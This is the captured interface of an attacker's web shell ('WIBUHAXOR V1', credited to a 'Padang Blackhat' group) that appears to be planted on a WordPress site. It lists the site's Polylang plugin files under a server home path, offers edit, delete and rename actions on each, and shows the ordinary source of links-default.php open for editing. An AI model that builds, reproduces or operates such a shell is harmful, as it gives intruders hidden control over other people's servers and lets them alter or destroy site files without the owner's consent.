-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-contentVIp
/
plugins
/
polylang
/
include
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
base.php
5.15KB
Edit File
Delete File
Rename
class-polylang.php
7.697KB
Edit File
Delete File
Rename
crud-posts.php
10.378KB
Edit File
Delete File
Rename
filters-links.php
4.985KB
Edit File
Delete File
Rename
filters.php
12.375KB
Edit File
Delete File
Rename
language.php
9.809KB
Edit File
Delete File
Rename
links-abstract-domain.php
2.195KB
Edit File
Delete File
Rename
links-default.php
2.524KB
Edit File
Delete File
Rename
links-directory.php
9.078KB
Edit File
Delete File
Rename
links-domain.php
2.47KB
Edit File
Delete File
Rename
links-model.php
3.305KB
Edit File
Delete File
Rename
links-permalinks.php
3.496KB
Edit File
Delete File
Rename
links-subdomain.php
1.9KB
Edit File
Delete File
Rename
links.php
0.815KB
Edit File
Delete File
Rename
mo.php
3.076KB
Edit File
Delete File
Rename
model.php
22.146KB
Edit File
Delete File
Rename
nav-menu.php
3.936KB
Edit File
Delete File
Rename
olt-manager.php
8.786KB
Edit File
Delete File
Rename
query.php
5.36KB
Edit File
Delete File
Rename
rest-request.php
2.313KB
Edit File
Delete File
Rename
static-pages.php
3.433KB
Edit File
Delete File
Rename
switcher.php
8.253KB
Edit File
Delete File
Rename
translated-object.php
10.463KB
Edit File
Delete File
Rename
translated-post.php
7.425KB
Edit File
Delete File
Rename
translated-term.php
6.159KB
Edit File
Delete File
Rename
walker-dropdown.php
3.452KB
Edit File
Delete File
Rename
walker-list.php
2.289KB
Edit File
Delete File
Rename
widget-calendar.php
9.153KB
Edit File
Delete File
Rename
widget-languages.php
5.144KB
Edit File
Delete File
Rename
<?php /** * Links model for default permalinks * for example mysite.com/?somevar=something&lang=en * implements the "links_model interface" * * @since 1.2 */ class PLL_Links_Default extends PLL_Links_Model { public $using_permalinks = false; /** * Adds language information to an url * links_model interface * * @since 1.2 * * @param string $url url to modify * @param object $lang language * @return string modified url */ public function add_language_to_link( $url, $lang ) { return empty( $lang ) || ( $this->options['hide_default'] && $this->options['default_lang'] == $lang->slug ) ? $url : add_query_arg( 'lang', $lang->slug, $url ); } /** * Removes the language information from an url * links_model interface * * @since 1.2 * * @param string $url url to modify * @return string modified url */ public function remove_language_from_link( $url ) { return remove_query_arg( 'lang', $url ); } /** * Returns the link to the first page * links_model interface * * @since 1.2 * * @param string $url url to modify * @return string modified url */ public function remove_paged_from_link( $url ) { return remove_query_arg( 'paged', $url ); } /** * Returns the link to the paged page when using pretty permalinks * * @since 1.5 * * @param string $url url to modify * @param int $page * @return string modified url */ public function add_paged_to_link( $url, $page ) { return add_query_arg( array( 'paged' => $page ), $url ); } /** * Gets the language slug from the url if present * links_model interface * * @since 1.2 * @since 2.0 add $url argument * * @param string $url optional, defaults to current url * @return string language slug */ public function get_language_from_url( $url = '' ) { if ( empty( $url ) ) { $url = pll_get_requested_url(); } $pattern = '#lang=(' . implode( '|', $this->model->get_languages_list( array( 'fields' => 'slug' ) ) ) . ')#'; return preg_match( $pattern, trailingslashit( $url ), $matches ) ? $matches[1] : ''; // $matches[1] is the slug of the requested language } /** * Returns the static front page url * * @since 1.8 * * @param object $lang * @return string */ public function front_page_url( $lang ) { if ( $this->options['hide_default'] && $lang->slug == $this->options['default_lang'] ) { return trailingslashit( $this->home ); } $url = home_url( '/?page_id=' . $lang->page_on_front ); return $this->options['force_lang'] ? $this->add_language_to_link( $url, $lang ) : $url; } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat